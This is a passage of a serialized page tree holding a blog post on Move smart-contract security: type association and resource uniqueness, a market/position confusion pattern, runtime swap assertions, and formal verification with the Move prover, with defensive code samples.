collateralised_lp_coin",{"type":23,"tag":141,"props":5598,"children":5599},{"style":160},[5600],{"type":29,"value":114},{"type":23,"tag":141,"props":5602,"children":5603},{"style":725},[5604],{"type":29,"value":4475},{"type":23,"tag":141,"props":5606,"children":5607},{"style":154},[5608],{"type":29,"value":4480},{"type":23,"tag":141,"props":5610,"children":5611},{"style":725},[5612],{"type":29,"value":5009},{"type":23,"tag":141,"props":5614,"children":5615},{"style":154},[5616],{"type":29,"value":4480},{"type":23,"tag":141,"props":5618,"children":5619},{"style":725},[5620],{"type":29,"value":5576},{"type":23,"tag":141,"props":5622,"children":5623},{"style":154},[5624],{"type":29,"value":5625},">>,\n",{"type":23,"tag":141,"props":5627,"children":5628},{"class":143,"line":271},[5629],{"type":23,"tag":141,"props":5630,"children":5631},{"style":443},[5632],{"type":29,"value":5633}," /// Mint capability for LP Coin.\n",{"type":23,"tag":141,"props":5635,"children":5636},{"class":143,"line":293},[5637,5642,5646,5651,5655,5659,5663,5667],{"type":23,"tag":141,"props":5638,"children":5639},{"style":750},[5640],{"type":29,"value":5641}," mint_capability",{"type":23,"tag":141,"props":5643,"children":5644},{"style":160},[5645],{"type":29,"value":114},{"type":23,"tag":141,"props":5647,"children":5648},{"style":725},[5649],{"type":29,"value":5650}," MintCapability",{"type":23,"tag":141,"props":5652,"children":5653},{"style":154},[5654],{"type":29,"value":4480},{"type":23,"tag":141,"props":5656,"children":5657},{"style":725},[5658],{"type":29,"value":5009},{"type":23,"tag":141,"props":5660,"children":5661},{"style":154},[5662],{"type":29,"value":4480},{"type":23,"tag":141,"props":5664,"children":5665},{"style":725},[5666],{"type":29,"value":5576},{"type":23,"tag":141,"props":5668,"children":5669},{"style":154},[5670],{"type":29,"value":5625},{"type":23,"tag":141,"props":5672,"children":5673},{"class":143,"line":801},[5674],{"type":23,"tag":141,"props":5675,"children":5676},{"style":443},[5677],{"type":29,"value":5678}," /// Burn capability for LP Coin.\n",{"type":23,"tag":141,"props":5680,"children":5681},{"class":143,"line":810},[5682,5687,5691,5696,5700,5704,5708,5712],{"type":23,"tag":141,"props":5683,"children":5684},{"style":750},[5685],{"type":29,"value":5686}," burn_capability",{"type":23,"tag":141,"props":5688,"children":5689},{"style":160},[5690],{"type":29,"value":114},{"type":23,"tag":141,"props":5692,"children":5693},{"style":725},[5694],{"type":29,"value":5695}," BurnCapability",{"type":23,"tag":141,"props":5697,"children":5698},{"style":154},[5699],{"type":29,"value":4480},{"type":23,"tag":141,"props":5701,"children":5702},{"style":725},[5703],{"type":29,"value":5009},{"type":23,"tag":141,"props":5705,"children":5706},{"style":154},[5707],{"type":29,"value":4480},{"type":23,"tag":141,"props":5709,"children":5710},{"style":725},[5711],{"type":29,"value":5576},{"type":23,"tag":141,"props":5713,"children":5714},{"style":154},[5715],{"type":29,"value":5625},{"type":23,"tag":141,"props":5717,"children":5718},{"class":143,"line":824},[5719],{"type":23,"tag":141,"props":5720,"children":5721},{"emptyLinePlaceholder":15},[5722],{"type":29,"value":719},{"type":23,"tag":141,"props":5724,"children":5725},{"class":143,"line":839},[5726],{"type":23,"tag":141,"props":5727,"children":5728},{"style":443},[5729],{"type":29,"value":5270},{"type":23,"tag":141,"props":5731,"children":5732},{"class":143,"line":848},[5733],{"type":23,"tag":141,"props":5734,"children":5735},{"style":154},[5736],{"type":29,"value":854},{"type":23,"tag":32,"props":5738,"children":5739},{},[5740,5742,5747],{"type":29,"value":5741},"When creating a ",{"type":23,"tag":38,"props":5743,"children":5745},{"className":5744},[],[5746],{"type":29,"value":5477},{"type":29,"value":5748},", uniqueness is implicitly enforced by moving it into a hardcoded address.",{"type":23,"tag":131,"props":5750,"children":5752},{"className":1639,"code":5751,"language":1638,"meta":7,"style":7}," public(friend) fun create\u003CCoin0>(\n lp_store: &signer,\n // ...\n ) acquires Reserves {\n lp::assert_is_lp_store(signer::address_of(lp_store));\n\n // ...\n\n move_to(lp_store, ReserveCoinContainer\u003CCoin0> {\n // ...\n });\n",[5753],{"type":23,"tag":38,"props":5754,"children":5755},{"__ignoreMap":7},[5756,5799,5825,5832,5853,5898,5905,5912,5919,5956,5963],{"type":23,"tag":141,"props":5757,"children":5758},{"class":143,"line":144},[5759,5764,5768,5773,5777,5782,5787,5791,5795],{"type":23,"tag":141,"props":5760,"children":5761},{"style":184},[5762],{"type":29,"value":5763}," public",{"type":23,"tag":141,"props":5765,"children":5766},{"style":154},[5767],{"type":29,"value":192},{"type":23,"tag":141,"props":5769,"children":5770},{"style":750},[5771],{"type":29,"value":5772},"friend",{"type":23,"tag":141,"props":5774,"children":5775},{"style":154},[5776],{"type":29,"value":1748},{"type":23,"tag":141,"props":5778,"children":5779},{"style":750},[5780],{"type":29,"value":5781},"fun",{"type":23,"tag":141,"props":5783,"children":5784},{"style":750},[5785],{"type":29,"value":5786}," create",{"type":23,"tag":141,"props":5788,"children":5789},{"style":154},[5790],{"type":29,"value":4480},{"type":23,"tag":141,"props":5792,"children":5793},{"style":725},[5794],{"type":29,"value":5576},{"type":23,"tag":141,"props":5796,"children":5797},{"style":154},[5798],{"type":29,"value":5262},{"type":23,"tag":141,"props":5800,"children":5801},{"class":143,"line":180},[5802,5807,5811,5816,5821],{"type":23,"tag":141,"props":5803,"children":5804},{"style":750},[5805],{"type":29,"value":5806}," lp_store",{"type":23,"tag":141,"props":5808,"children":5809},{"style":160},[5810],{"type":29,"value":114},{"type":23,"tag":141,"props":5812,"children":5813},{"style":160},[5814],{"type":29,"value":5815}," &",{"type":23,"tag":141,"props":5817,"children":5818},{"style":750},[5819],{"type":29,"value":5820},"signer",{"type":23,"tag":141,"props":5822,"children":5823},{"style":154},[5824],{"type":29,"value":2168},{"type":23,"tag":141,"props":5826,"children":5827},{"class":143,"line":205},[5828],{"type":23,"tag":141,"props":5829,"children":5830},{"style":443},[5831],{"type":29,"value":5270},{"type":23,"tag":141,"props":5833,"children":5834},{"class":143,"line":218},[5835,5840,5844,5849],{"type":23,"tag":141,"props":5836,"children":5837},{"style":154},[5838],{"type":29,"value":5839}," ) ",{"type":23,"tag":141,"props":5841,"children":5842},{"style":750},[5843],{"type":29,"value":5018},{"type":23,"tag":141,"props":5845,"children":5846},{"style":725},[5847],{"type":29,"value":5848}," Reserves",{"type":23,"tag":141,"props":5850,"children":5851},{"style":154},[5852],{"type":29,"value":1951},{"type":23,"tag":141,"props":5854,"children":5855},{"class":143,"line":227},[5856,5861,5865,5870,5875,5879,5884,5888,5893],{"type":23,"tag":141,"props":5857,"children":5858},{"style":154},[5859],{"type":29,"value":5860}," lp",{"type":23,"tag":141,"props":5862,"children":5863},{"style":160},[5864],{"type":29,"value":2141},{"type":23,"tag":141,"props":5866,"children":5867},{"style":184},[5868],{"type":29,"value":5869},"assert_is_lp_store",{"type":23,"tag":141,"props":5871,"children":5872},{"style":154},[5873],{"type":29,"value":5874},"(signer",{"type":23,"tag":141,"props":5876,"children":5877},{"style":160},[5878],{"type":29,"value":2141},{"type":23,"tag":141,"props":5880,"children":5881},{"style":184},[5882],{"type":29,"value":5883},"address_of",{"type":23,"tag":141,"props":5885,"children":5886},{"style":154},[5887],{"type":29,"value":192},{"type":23,"tag":141,"props":5889,"children":5890},{"style":750},[5891],{"type":29,"value":5892},"lp_store",{"type":23,"tag":141,"props":5894,"children":5895},{"style":154},[5896],{"type":29,"value":5897},"));\n",{"type":23,"tag":141,"props":5899,"children":5900},{"class":143,"line":241},[5901],{"type":23,"tag":141,"props":5902,"children":5903},{"emptyLinePlaceholder":15},[5904],{"type":29,"value":719},{"type":23,"tag":141,"props":5906,"children":5907},{"class":143,"line":262},[5908],{"type":23,"tag":141,"props":5909,"children":5910},{"style":443},[5911],{"type":29,"value":5270},{"type":23,"tag":141,"props":5913,"children":5914},{"class":143,"line":271},[5915],{"type":23,"tag":141,"props":5916,"children":5917},{"emptyLinePlaceholder":15},[5918],{"type":29,"value":719},{"type":23,"tag":141,"props":5920,"children":5921},{"class":143,"line":293},[5922,5927,5931,5935,5939,5943,5947,5951],{"type":23,"tag":141,"props":5923,"children":5924},{"style":184},[5925],{"type":29,"value":5926}," move_to",{"type":23,"tag":141,"props":5928,"children":5929},{"style":154},[5930],{"type":29,"value":192},{"type":23,"tag":141,"props":5932,"children":5933},{"style":750},[5934],{"type":29,"value":5892},{"type":23,"tag":141,"props":5936,"children":5937},{"style":154},[5938],{"type":29,"value":480},{"type":23,"tag":141,"props":5940,"children":5941},{"style":725},[5942],{"type":29,"value":5477},{"type":23,"tag":141,"props":5944,"children":5945},{"style":154},[5946],{"type":29,"value":4480},{"type":23,"tag":141,"props":5948,"children":5949},{"style":725},[5950],{"type":29,"value":5576},{"type":23,"tag":141,"props":5952,"children":5953},{"style":154},[5954],{"type":29,"value":5955},"> {\n",{"type":23,"tag":141,"props":5957,"children":5958},{"class":143,"line":801},[5959],{"type":23,"tag":141,"props":5960,"children":5961},{"style":443},[5962],{"type":29,"value":4849},{"type":23,"tag":141,"props":5964,"children":5965},{"class":143,"line":810},[5966],{"type":23,"tag":141,"props":5967,"children":5968},{"style":154},[5969],{"type":29,"value":5970}," });\n",{"type":23,"tag":32,"props":5972,"children":5973},{},[5974],{"type":29,"value":5975},"In both these instances, type association only works because we create exactly one instance per type.",{"type":23,"tag":32,"props":5977,"children":5978},{},[5979,5981,5987,5989,5995,5997,6002],{"type":29,"value":5980},"On the other hand, consider if you have a ",{"type":23,"tag":38,"props":5982,"children":5984},{"className":5983},[],[5985],{"type":29,"value":5986},"Position\u003CT>",{"type":29,"value":5988}," and a ",{"type":23,"tag":38,"props":5990,"children":5992},{"className":5991},[],[5993],{"type":29,"value":5994},"Market\u003CT>",{"type":29,"value":5996}," where ",{"type":23,"tag":38,"props":5998,"children":6000},{"className":5999},[],[6001],{"type":29,"value":4661},{"type":29,"value":6003}," is the coin type.",{"type":23,"tag":131,"props":6005,"children":6007},{"className":1639,"code":6006,"language":1638,"meta":7,"style":7}," struct Market\u003Cphantom T> {\n reserves: Coin\u003CT>,\n // ...\n }\n\n struct Position\u003Cphantom T> {\n amount: u64,\n // ...\n }\n",[6008],{"type":23,"tag":38,"props":6009,"children":6010},{"__ignoreMap":7},[6011,6039,6067,6074,6081,6088,6116,6136,6143],{"type":23,"tag":141,"props":6012,"children":6013},{"class":143,"line":144},[6014,6018,6023,6027,6031,6035],{"type":23,"tag":141,"props":6015,"children":6016},{"style":449},[6017],{"type":29,"value":4726},{"type":23,"tag":141,"props":6019,"children":6020},{"style":725},[6021],{"type":29,"value":6022}," Market",{"type":23,"tag":141,"props":6024,"children":6025},{"style":154},[6026],{"type":29,"value":4480},{"type":23,"tag":141,"props":6028,"children":6029},{"style":750},[6030],{"type":29,"value":4485},{"type":23,"tag":141,"props":6032,"children":6033},{"style":725},[6034],{"type":29,"value":4592},{"type":23,"tag":141,"props":6036,"children":6037},{"style":154},[6038],{"type":29,"value":5955},{"type":23,"tag":141,"props":6040,"children":6041},{"class":143,"line":180},[6042,6047,6051,6055,6059,6063],{"type":23,"tag":141,"props":6043,"children":6044},{"style":750},[6045],{"type":29,"value":6046}," reserves",{"type":23,"tag":141,"props":6048,"children":6049},{"style":160},[6050],{"type":29,"value":114},{"type":23,"tag":141,"props":6052,"children":6053},{"style":725},[6054],{"type":29,"value":4475},{"type":23,"tag":141,"props":6056,"children":6057},{"style":154},[6058],{"type":29,"value":4480},{"type":23,"tag":141,"props":6060,"children":6061},{"style":725},[6062],{"type":29,"value":4661},{"type":23,"tag":141,"props":6064,"children":6065},{"style":154},[6066],{"type":29,"value":4812},{"type":23,"tag":141,"props":6068,"children":6069},{"class":143,"line":205},[6070],{"type":23,"tag":141,"props":6071,"children":6072},{"style":443},[6073],{"type":29,"value":4849},{"type":23,"tag":141,"props":6075,"children":6076},{"class":143,"line":218},[6077],{"type":23,"tag":141,"props":6078,"children":6079},{"style":154},[6080],{"type":29,"value":299},{"type":23,"tag":141,"props":6082,"children":6083},{"class":143,"line":227},[6084],{"type":23,"tag":141,"props":6085,"children":6086},{"emptyLinePlaceholder":15},[6087],{"type":29,"value":719},{"type":23,"tag":141,"props":6089,"children":6090},{"class":143,"line":241},[6091,6095,6100,6104,6108,6112],{"type":23,"tag":141,"props":6092,"children":6093},{"style":449},[6094],{"type":29,"value":4726},{"type":23,"tag":141,"props":6096,"children":6097},{"style":725},[6098],{"type":29,"value":6099}," Position",{"type":23,"tag":141,"props":6101,"children":6102},{"style":154},[6103],{"type":29,"value":4480},{"type":23,"tag":141,"props":6105,"children":6106},{"style":750},[6107],{"type":29,"value":4485},{"type":23,"tag":141,"props":6109,"children":6110},{"style":725},[6111],{"type":29,"value":4592},{"type":23,"tag":141,"props":6113,"children":6114},{"style":154},[6115],{"type":29,"value":5955},{"type":23,"tag":141,"props":6117,"children":6118},{"class":143,"line":262},[6119,6124,6128,6132],{"type":23,"tag":141,"props":6120,"children":6121},{"style":750},[6122],{"type":29,"value":6123}," amount",{"type":23,"tag":141,"props":6125,"children":6126},{"style":160},[6127],{"type":29,"value":114},{"type":23,"tag":141,"props":6129,"children":6130},{"style":725},[6131],{"type":29,"value":4534},{"type":23,"tag":141,"props":6133,"children":6134},{"style":154},[6135],{"type":29,"value":2168},{"type":23,"tag":141,"props":6137,"children":6138},{"class":143,"line":271},[6139],{"type":23,"tag":141,"props":6140,"children":6141},{"style":443},[6142],{"type":29,"value":4849},{"type":23,"tag":141,"props":6144,"children":6145},{"class":143,"line":293},[6146],{"type":23,"tag":141,"props":6147,"children":6148},{"style":154},[6149],{"type":29,"value":299},{"type":23,"tag":32,"props":6151,"children":6152},{},[6153,6155,6160,6162,6167],{"type":29,"value":6154},"If ",{"type":23,"tag":38,"props":6156,"children":6158},{"className":6157},[],[6159],{"type":29,"value":5994},{"type":29,"value":6161}," isn't a unique type -- or in other words if you're able to create more than one instance of a market per type ",{"type":23,"tag":38,"props":6163,"children":6165},{"className":6164},[],[6166],{"type":29,"value":4661},{"type":29,"value":6168}," -- you might be able to pass in the incorrect market for a given position. This is a common vulnerability pattern on Solana.",{"type":23,"tag":32,"props":6170,"children":6171},{},[6172],{"type":29,"value":6173},"Dynamic iteration of types is also impossible (at least as currently designed by the Move VM) leading to massive headaches for developers. In these scenarios, we empirically observe developers defaulting back to type reflection APIs, complicating code unnecessarily. Security at the expense of usability comes at the expense of security.",{"type":23,"tag":131,"props":6175,"children":6177},{"className":1639,"code":6176,"language":1638,"meta":7,"style":7}," /// Get the price of the token per lamport.\n public fun get_price(type_info: TypeInfo): Decimal acquires Oracle {\n let oracle = borrow_global_mut\u003COracle>(@oracle);\n let price = table::borrow_mut_with_default\u003CTypeInfo, Decimal>(\n &mut oracle.prices,\n type_info,\n decimal::one()\n );\n *price\n }\n",[6178],{"type":23,"tag":38,"props":6179,"children":6180},{"__ignoreMap":7},[6181,6189,6251,6300,6352,6377,6389,6411,6419,6432],{"type":23,"tag":141,"props":6182,"children":6183},{"class":143,"line":144},[6184],{"type":23,"tag":141,"props":6185,"children":6186},{"style":443},[6187],{"type":29,"value":6188}," /// Get the price of the token per lamport.\n",{"type":23,"tag":141,"props":6190,"children":6191},{"class":143,"line":180},[6192,6197,6201,6206,6210,6215,6219,6224,6228,6232,6237,6242,6247],{"type":23,"tag":141,"props":6193,"children":6194},{"style":750},[6195],{"type":29,"value":6196}," public",{"type":23,"tag":141,"props":6198,"children":6199},{"style":750},[6200],{"type":29,"value":4881},{"type":23,"tag":141,"props":6202,"children":6203},{"style":184},[6204],{"type":29,"value":6205}," get_price",{"type":23,"tag":141,"props":6207,"children":6208},{"style":154},[6209],{"type":29,"value":192},{"type":23,"tag":141,"props":6211,"children":6212},{"style":750},[6213],{"type":29,"value":6214},"type_info",{"type":23,"tag":141,"props":6216,"children":6217},{"style":160},[6218],{"type":29,"value":114},{"type":23,"tag":141,"props":6220,"children":6221},{"style":725},[6222],{"type":29,"value":6223}," TypeInfo",{"type":23,"tag":141,"props":6225,"children":6226},{"style":154},[6227],{"type":29,"value":1788},{"type":23,"tag":141,"props":6229,"children":6230},{"style":160},[6231],{"type":29,"value":114},{"type":23,"tag":141,"props":6233,"children":6234},{"style":725},[6235],{"type":29,"value":6236}," Decimal",{"type":23,"tag":141,"props":6238,"children":6239},{"style":750},[6240],{"type":29,"value":6241}," acquires",{"type":23,"tag":141,"props":6243,"children":6244},{"style":725},[6245],{"type":29,"value":6246}," Oracle",{"type":23,"tag":141,"props":6248,"children":6249},{"style":154},[6250],{"type":29,"value":1951},{"type":23,"tag":141,"props":6252,"children":6253},{"class":143,"line":205},[6254,6258,6263,6267,6272,6276,6281,6286,6291,6296],{"type":23,"tag":141,"props":6255,"children":6256},{"style":449},[6257],{"type":29,"value":1725},{"type":23,"tag":141,"props":6259,"children":6260},{"style":750},[6261],{"type":29,"value":6262}," oracle",{"type":23,"tag":141,"props":6264,"children":6265},{"style":160},[6266],{"type":29,"value":1674},{"type":23,"tag":141,"props":6268,"children":6269},{"style":750},[6270],{"type":29,"value":6271}," borrow_global_mut",{"type":23,"tag":141,"props":6273,"children":6274},{"style":154},[6275],{"type":29,"value":4480},{"type":23,"tag":141,"props":6277,"children":6278},{"style":725},[6279],{"type":29,"value":6280},"Oracle",{"type":23,"tag":141,"props":6282,"children":6283},{"style":154},[6284],{"type":29,"value":6285},">(",{"type":23,"tag":141,"props":6287,"children":6288},{"style":160},[6289],{"type":29,"value":6290},"@",{"type":23,"tag":141,"props":6292,"children":6293},{"style":750},[6294],{"type":29,"value":6295},"oracle",{"type":23,"tag":141,"props":6297,"children":6298},{"style":154},[6299],{"type":29,"value":2496},{"type":23,"tag":141,"props":6301,"children":6302},{"class":143,"line":218},[6303,6307,6312,6316,6321,6325,6330,6334,6339,6343,6348],{"type":23,"tag":141,"props":6304,"children":6305},{"style":449},[6306],{"type":29,"value":1725},{"type":23,"tag":141,"props":6308,"children":6309},{"style":750},[6310],{"type":29,"value":6311}," price",{"type":23,"tag":141,"props":6313,"children":6314},{"style":160},[6315],{"type":29,"value":1674},{"type":23,"tag":141,"props":6317,"children":6318},{"style":154},[6319],{"type":29,"value":6320}," table",{"type":23,"tag":141,"props":6322,"children":6323},{"style":160},[6324],{"type":29,"value":2141},{"type":23,"tag":141,"props":6326,"children":6327},{"style":750},[6328],{"type":29,"value":6329},"borrow_mut_with_default",{"type":23,"tag":141,"props":6331,"children":6332},{"style":154},[6333],{"type":29,"value":4480},{"type":23,"tag":141,"props":6335,"children":6336},{"style":725},[6337],{"type":29,"value":6338},"TypeInfo",{"type":23,"tag":141,"props":6340,"children":6341},{"style":154},[6342],{"type":29,"value":480},{"type":23,"tag":141,"props":6344,"children":6345},{"style":725},[6346],{"type":29,"value":6347},"Decimal",{"type":23,"tag":141,"props":6349,"children":6350},{"style":154},[6351],{"type":29,"value":5262},{"type":23,"tag":141,"props":6353,"children":6354},{"class":143,"line":227},[6355,6360,6364,6368,6372],{"type":23,"tag":141,"props":6356,"children":6357},{"style":160},[6358],{"type":29,"value":6359}," &",{"type":23,"tag":141,"props":6361,"children":6362},{"style":449},[6363],{"type":29,"value":2389},{"type":23,"tag":141,"props":6365,"children":6366},{"style":750},[6367],{"type":29,"value":6262},{"type":23,"tag":141,"props":6369,"children":6370},{"style":160},[6371],{"type":29,"value":322},{"type":23,"tag":141,"props":6373,"children":6374},{"style":154},[6375],{"type":29,"value":6376},"prices,\n",{"type":23,"tag":141,"props":6378,"children":6379},{"class":143,"line":241},[6380,6385],{"type":23,"tag":141,"props":6381,"children":6382},{"style":750},[6383],{"type":29,"value":6384}," type_info",{"type":23,"tag":141,"props":6386,"children":6387},{"style":154},[6388],{"type":29,"value":2168},{"type":23,"tag":141,"props":6390,"children":6391},{"class":143,"line":262},[6392,6397,6401,6406],{"type":23,"tag":141,"props":6393,"children":6394},{"style":154},[6395],{"type":29,"value":6396}," decimal",{"type":23,"tag":141,"props":6398,"children":6399},{"style":160},[6400],{"type":29,"value":2141},{"type":23,"tag":141,"props":6402,"children":6403},{"style":184},[6404],{"type":29,"value":6405},"one",{"type":23,"tag":141,"props":6407,"children":6408},{"style":154},[6409],{"type":29,"value":6410},"()\n",{"type":23,"tag":141,"props":6412,"children":6413},{"class":143,"line":271},[6414],{"type":23,"tag":141,"props":6415,"children":6416},{"style":154},[6417],{"type":29,"value":6418}," );\n",{"type":23,"tag":141,"props":6420,"children":6421},{"class":143,"line":293},[6422,6427],{"type":23,"tag":141,"props":6423,"children":6424},{"style":160},[6425],{"type":29,"value":6426}," *",{"type":23,"tag":141,"props":6428,"children":6429},{"style":750},[6430],{"type":29,"value":6431},"price\n",{"type":23,"tag":141,"props":6433,"children":6434},{"class":143,"line":801},[6435],{"type":23,"tag":141,"props":6436,"children":6437},{"style":154},[6438],{"type":29,"value":299},{"type":23,"tag":32,"props":6440,"children":6441},{},[6442,6444,6449],{"type":29,"value":6443},"Type association feels like a proxy for the intended pattern -- associating resources with instances. It's very useful being able to store a reference to an ",{"type":23,"tag":47,"props":6445,"children":6446},{},[6447],{"type":29,"value":6448},"instance",{"type":29,"value":6450}," of another resource (which is possible in Diem style move).",{"type":23,"tag":32,"props":6452,"children":6453},{},[6454],{"type":29,"value":6455},"In summary, when using type systems to bind resources to each other, it's important to either",{"type":23,"tag":116,"props":6457,"children":6458},{},[6459,6464],{"type":23,"tag":120,"props":6460,"children":6461},{},[6462],{"type":29,"value":6463},"Have unique initializers for your resources",{"type":23,"tag":120,"props":6465,"children":6466},{},[6467],{"type":29,"value":6468},"Associate resources with instances directly",{"type":23,"tag":24,"props":6470,"children":6472},{"id":6471},"formal-verification",[6473],{"type":29,"value":6474},"Formal Verification",{"type":23,"tag":32,"props":6476,"children":6477},{},[6478],{"type":29,"value":6479},"Formal verification is another exciting feature.",{"type":23,"tag":32,"props":6481,"children":6482},{},[6483],{"type":29,"value":6484},"As part of our work with protocols, we actively use formal verification to prove aspects of security.",{"type":23,"tag":32,"props":6486,"children":6487},{},[6488,6490,6495],{"type":29,"value":6489},"However, this isn't a silver bullet. The key is figuring out ",{"type":23,"tag":47,"props":6491,"children":6492},{},[6493],{"type":29,"value":6494},"what",{"type":29,"value":6496}," to prove.",{"type":23,"tag":32,"props":6498,"children":6499},{},[6500,6502,6509],{"type":29,"value":6501},"One obvious idea might be a properties across a particular function. For example, we might want to ensure that a swap doesn't reduce the value of the pool -- similar to the ",{"type":23,"tag":55,"props":6503,"children":6506},{"href":6504,"rel":6505},"https://osec.io/blog/reports/2022-04-26-spl-swap-rounding/",[59],[6507],{"type":29,"value":6508},"Solana AMM rounding issue",{"type":29,"value":6510}," we reported.",{"type":23,"tag":32,"props":6512,"children":6513},{},[6514],{"type":29,"value":6515},"However, this could also be checked with a simple runtime assert. For example, we recommended Pontem assert that liquidity pool token values are strictly increasing.",{"type":23,"tag":131,"props":6517,"children":6519},{"className":1639,"code":6518,"language":1638,"meta":7,"style":7}," let cmp = u256::compare(&lp_value_after_swap_and_fee, &lp_value_before_swap_u256);\n assert!(cmp == 2, ERR_INCORRECT_SWAP);\n",[6520],{"type":23,"tag":38,"props":6521,"children":6522},{"__ignoreMap":7},[6523,6584],{"type":23,"tag":141,"props":6524,"children":6525},{"class":143,"line":144},[6526,6531,6536,6540,6545,6549,6554,6558,6562,6567,6571,6575,6580],{"type":23,"tag":141,"props":6527,"children":6528},{"style":449},[6529],{"type":29,"value":6530}," let",{"type":23,"tag":141,"props":6532,"children":6533},{"style":750},[6534],{"type":29,"value":6535}," cmp",{"type":23,"tag":141,"props":6537,"children":6538},{"style":160},[6539],{"type":29,"value":1674},{"type":23,"tag":141,"props":6541,"children":6542},{"style":154},[6543],{"type":29,"value":6544}," u256",{"type":23,"tag":141,"props":6546,"children":6547},{"style":160},[6548],{"type":29,"value":2141},{"type":23,"tag":141,"props":6550,"children":6551},{"style":184},[6552],{"type":29,"value":6553},"compare",{"type":23,"tag":141,"props":6555,"children":6556},{"style":154},[6557],{"type":29,"value":192},{"type":23,"tag":141,"props":6559,"children":6560},{"style":160},[6561],{"type":29,"value":1770},{"type":23,"tag":141,"props":6563,"children":6564},{"style":750},[6565],{"type":29,"value":6566},"lp_value_after_swap_and_fee",{"type":23,"tag":141,"props":6568,"children":6569},{"style":154},[6570],{"type":29,"value":480},{"type":23,"tag":141,"props":6572,"children":6573},{"style":160},[6574],{"type":29,"value":1770},{"type":23,"tag":141,"props":6576,"children":6577},{"style":750},[6578],{"type":29,"value":6579},"lp_value_before_swap_u256",{"type":23,"tag":141,"props":6581,"children":6582},{"style":154},[6583],{"type":29,"value":2496},{"type":23,"tag":141,"props":6585,"children":6586},{"class":143,"line":180},[6587,6592,6596,6601,6605,6610],{"type":23,"tag":141,"props":6588,"children":6589},{"style":184},[6590],{"type":29,"value":6591}," assert!",{"type":23,"tag":141,"props":6593,"children":6594},{"style":154},[6595],{"type":29,"value":192},{"type":23,"tag":141,"props":6597,"children":6598},{"style":750},[6599],{"type":29,"value":6600},"cmp",{"type":23,"tag":141,"props":6602,"children":6603},{"style":160},[6604],{"type":29,"value":1942},{"type":23,"tag":141,"props":6606,"children":6607},{"style":472},[6608],{"type":29,"value":6609}," 2",{"type":23,"tag":141,"props":6611,"children":6612},{"style":154},[6613],{"type":29,"value":6614},", ERR_INCORRECT_SWAP);\n",{"type":23,"tag":32,"props":6616,"children":6617},{},[6618,6620,6625],{"type":29,"value":6619},"The move prover really shines when we're proving relationships ",{"type":23,"tag":47,"props":6621,"children":6622},{},[6623],{"type":29,"value":6624},"between",{"type":29,"value":6626}," functions.",{"type":23,"tag":32,"props":6628,"children":6629},{},[6630,6632,6638],{"type":29,"value":6631},"One example of a more complicated relationship that can't be proved easily via assertions would be the ",{"type":23,"tag":38,"props":6633,"children":6635},{"className":6634},[],[6636],{"type":29,"value":6637},"no_free_money_theorem",{"type":29,"value":6639}," in the move repository.",{"type":23,"tag":131,"props":6641,"children":6643},{"className":1639,"code":6642,"language":1638,"meta":7,"style":7}," // #[test] // TODO: cannot specify the test-only functions\n fun no_free_money_theorem(coin1_in: u64, coin2_in: u64): (u64, u64) acquires Pool {\n let share = add_liquidity(coin1_in, coin2_in);\n remove_liquidity(share)\n }\n spec no_free_money_theorem {\n pragma verify=false;\n ensures result_1 \u003C= coin1_in;\n ensures result_2 \u003C= coin2_in;\n }\n",[6644],{"type":23,"tag":38,"props":6645,"children":6646},{"__ignoreMap":7},[6647,6655,6743,6785,6806,6813,6829,6855,6882,6907],{"type":23,"tag":141,"props":6648,"children":6649},{"class":143,"line":144},[6650],{"type":23,"tag":141,"props":6651,"children":6652},{"style":443},[6653],{"type":29,"value":6654}," // #[test] // TODO: cannot specify the test-only functions\n",{"type":23,"tag":141,"props":6656,"children":6657},{"class":143,"line":180},[6658,6662,6667,6671,6676,6680,6684,6688,6693,6697,6701,6705,6709,6713,6718,6722,6726,6730,6734,6739],{"type":23,"tag":141,"props":6659,"children":6660},{"style":750},[6661],{"type":29,"value":5243},{"type":23,"tag":141,"props":6663,"children":6664},{"style":184},[6665],{"type":29,"value":6666}," no_free_money_theorem",{"type":23,"tag":141,"props":6668,"children":6669},{"style":154},[6670],{"type":29,"value":192},{"type":23,"tag":141,"props":6672,"children":6673},{"style":750},[6674],{"type":29,"value":6675},"coin1_in",{"type":23,"tag":141,"props":6677,"children":6678},{"style":160},[6679],{"type":29,"value":114},{"type":23,"tag":141,"props":6681,"children":6682},{"style":725},[6683],{"type":29,"value":4534},{"type":23,"tag":141,"props":6685,"children":6686},{"style":154},[6687],{"type":29,"value":480},{"type":23,"tag":141,"props":6689,"children":6690},{"style":750},[6691],{"type":29,"value":6692},"coin2_in",{"type":23,"tag":141,"props":6694,"children":6695},{"style":160},[6696],{"type":29,"value":114},{"type":23,"tag":141,"props":6698,"children":6699},{"style":725},[6700],{"type":29,"value":4534},{"type":23,"tag":141,"props":6702,"children":6703},{"style":154},[6704],{"type":29,"value":1788},{"type":23,"tag":141,"props":6706,"children":6707},{"style":160},[6708],{"type":29,"value":114},{"type":23,"tag":141,"props":6710,"children":6711},{"style":154},[6712],{"type":29,"value":1220},{"type":23,"tag":141,"props":6714,"children":6715},{"style":725},[6716],{"type":29,"value":6717},"u64",{"type":23,"tag":141,"props":6719,"children":6720},{"style":154},[6721],{"type":29,"value":480},{"type":23,"tag":141,"props":6723,"children":6724},{"style":725},[6725],{"type":29,"value":6717},{"type":23,"tag":141,"props":6727,"children":6728},{"style":154},[6729],{"type":29,"value":1748},{"type":23,"tag":141,"props":6731,"children":6732},{"style":750},[6733],{"type":29,"value":5018},{"type":23,"tag":141,"props":6735,"children":6736},{"style":725},[6737],{"type":29,"value":6738}," Pool",{"type":23,"tag":141,"props":6740,"children":6741},{"style":154},[6742],{"type":29,"value":1951},{"type":23,"tag":141,"props":6744,"children":6745},{"class":143,"line":205},[6746,6751,6756,6760,6765,6769,6773,6777,6781],{"type":23,"tag":141,"props":6747,"children":6748},{"style":449},[6749],{"type":29,"value":6750}," let",{"type":23,"tag":141,"props":6752,"children":6753},{"style":750},[6754],{"type":29,"value":6755}," share",{"type":23,"tag":141,"props":6757,"children":6758},{"style":160},[6759],{"type":29,"value":1674},{"type":23,"tag":141,"props":6761,"children":6762},{"style":184},[6763],{"type":29,"value":6764}," 